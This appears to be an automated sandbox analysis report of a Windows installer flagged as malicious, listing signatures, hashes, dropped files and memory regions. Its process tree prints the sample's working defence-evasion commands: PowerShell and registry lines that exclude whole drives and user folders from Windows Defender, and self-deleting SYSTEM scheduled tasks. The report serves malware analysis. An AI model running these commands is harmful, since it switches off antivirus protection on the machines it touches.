Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 03:33

General

  • Target
    install_h8.0.13.exe
  • Size 27.3MB
  • Sample260826-d4drcayvct
  • SHA256 3fd457d4d55028f6958c2f3afdbe290e8bba6532baf9e4a1ca37cf7657882aff
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_h8.0.13.exe
    "C:\Users\Admin\AppData\Local\Temp\install_h8.0.13.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2836
  • C:\Users\Public\IOalsH\eOBsTt.exe
    "C:\Users\Public\IOalsH\eOBsTt.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\IOalsH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\IOalsH\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5884
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:892
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2420
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2828
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2508
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4612
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3688
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2376
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2540
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:868
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3536
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4780
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3028
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4600
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3768
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5316
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1328
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3460
                      • C:\Users\Public\IOalsH\eOBsTt.exe
                        "C:\Users\Public\IOalsH\eOBsTt.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:6120
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\IOalsH" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2144
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\IOalsH" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2456
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2084
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4524
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2368
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4624
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5788

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\IOalsH\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 5d806891fe39c2b4960937aba83119eb0633b4064e70effb11f3fd0a716c4fbf
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\IOalsH\adoresd.dat
                              • Size 4.7MB
                              • SHA256 777f04dbc35c7df552449f829b2f59beb3f1b55250ae319a4baa31ddec92e1b3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              eOBsTt.exe

                              • Path C:\Users\Public\IOalsH\eOBsTt.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\IOalsH\msadox.tb
                              • Size 8KB
                              • SHA256 9fd14c83799a905ebd9d818f96863d06eefb0f8220002d17ea1b41da6ecd8dd9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2656-605-0x000002103FE20000-0x000002103FED2000-memory.dmp

                              memory/2656-608-0x000002103FBC0000-0x000002103FBCA000-memory.dmp

                              memory/2656-604-0x000002103FE00000-0x000002103FE1E000-memory.dmp

                              memory/2656-599-0x000002103FBD0000-0x000002103FBF2000-memory.dmp

                              memory/2836-524-0x0000000000520000-0x000000000052E000-memory.dmp

                              memory/2836-525-0x00007FFC7F750000-0x00007FFC7F762000-memory.dmp

                              memory/2836-504-0x00007FFC7F750000-0x00007FFC7F762000-memory.dmp

                              memory/2836-0-0x0000000000520000-0x000000000052E000-memory.dmp

                              memory/2836-2-0x00000000007B0000-0x00000000007BC000-memory.dmp

                              memory/2836-1-0x0000000000520000-0x000000000052E000-memory.dmp

                              memory/5240-556-0x000002490ABD0000-0x000002490AC1E000-memory.dmp

                              memory/5240-567-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-544-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-545-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-546-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-550-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-538-0x00007FFC87CA0000-0x00007FFC87CA2000-memory.dmp

                              memory/5240-561-0x000002490C470000-0x000002490C4FA000-memory.dmp

                              memory/5240-560-0x000002490C470000-0x000002490C4FA000-memory.dmp

                              memory/5240-559-0x000002490C470000-0x000002490C4FA000-memory.dmp

                              memory/5240-558-0x000002490C470000-0x000002490C4FA000-memory.dmp

                              memory/5240-563-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-565-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-543-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-530-0x00007FFC87C90000-0x00007FFC87C92000-memory.dmp

                              memory/5240-607-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-531-0x00007FFC65040000-0x00007FFC6555E000-memory.dmp

                              memory/5240-536-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/5240-539-0x000002490CEF0000-0x000002490D777000-memory.dmp

                              memory/6120-587-0x00007FFC87C90000-0x00007FFC87C92000-memory.dmp

                              memory/6120-586-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-585-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-584-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-579-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-583-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-578-0x00007FFC87CA0000-0x00007FFC87CA2000-memory.dmp

                              memory/6120-576-0x0000022A72500000-0x0000022A72D87000-memory.dmp

                              memory/6120-573-0x00007FFC65040000-0x00007FFC6555E000-memory.dmp